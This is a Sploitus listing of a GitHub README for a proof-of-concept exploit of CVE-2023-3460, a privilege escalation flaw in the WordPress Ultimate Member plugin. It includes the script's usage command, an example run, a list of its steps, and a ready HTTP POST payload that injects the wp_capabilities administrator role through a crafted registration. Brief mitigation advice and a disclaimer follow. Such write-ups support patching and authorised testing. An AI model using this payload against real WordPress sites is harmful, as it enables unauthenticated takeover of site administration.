Sploitus

Exploit for CVE-2023-3460

githubexploit · 2025-07-22

Exploit Code

README98 lines
## https://sploitus.com/exploit?id=0922C35A-3C97-532A-8F91-FFCC37D029D1
# 🚨 CVE-2023-3460 - WordPress Ultimate Member Privilege Escalation Exploit

This is a proof-of-concept (PoC) exploit for [CVE-2023-3460](https://nvd.nist.gov/vuln/detail/CVE-2023-3460), a critical vulnerability in the WordPress plugin **Ultimate Member**. It allows **unauthenticated users** to escalate their privileges to **Administrator** by crafting a malicious registration request.

> 🔥 **Impact:** Full site compromise through unauthorized admin account creation.

---

## 📌 Vulnerability Details

- **Plugin Affected:** Ultimate Member
- **Affected Versions:** ≤ 2.6.6
- **Fixed Version:** 2.6.7
- **Exploit Type:** Privilege Escalation via Registration Abuse
- **Authentication Required:** ❌ No
- **CVE:** [CVE-2023-3460](https://nvd.nist.gov/vuln/detail/CVE-2023-3460)

---

## ⚙️ Requirements

- Python 3
- `requests` library
- `urllib3` library
- `beautifulsoup4` library

Install requirements:

```bash
pip3 install requests urllib3 beautifulsoup4
```

---

## 🧪 Exploit Usage

```bash
python3 CVE-2023-3460.py -t  -u  -p  
```

### ✅ Example:

```bash
python3 CVE-2023-3460.py -t http://localhost/register/ -u pwnadmin -p Pass@123 
```

---

## 📥 Exploit Script Features

- Fetches CSRF nonce (`_wpnonce`) from the register page
- Bypasses form validation
- Injects `wp_capabilities` with `administrator` role
- Creates a new admin user without authentication

---

## 🔐 Sample Exploit Payload

```http
POST /register/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user_login=pwnadmin&
user_email=pwn@evil.com&
user_password=Pass@123&
wp_càpabilities[administrator]=1&
_um_nonce=
```

---

## 🛡️ Mitigation

- Update Ultimate Member plugin to **v2.6.7** or above
- Disable open registration if not required
- Monitor user creation logs for suspicious activity

---

## 📚 References

- 🔗 [Patchstack Advisory](https://patchstack.com/database/vulnerability/ultimate-member/wordpress-ultimate-member-plugin-2-6-6-authenticated-privilege-escalation-vulnerability)
- 🔗 [CVE-2023-3460 on NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-3460)

---

## ⚠️ Disclaimer

This script is provided for **educational and authorized testing purposes only**. Unauthorized exploitation of systems is illegal and unethical. Use it **only** on systems you own or have permission to test.

---

## 👨‍💻 Author

- 💀 [GURJOT SINGH]
- 🔒 [Linkdin: https://in.linkedin.com/in/gurjot-singh-8198b3220]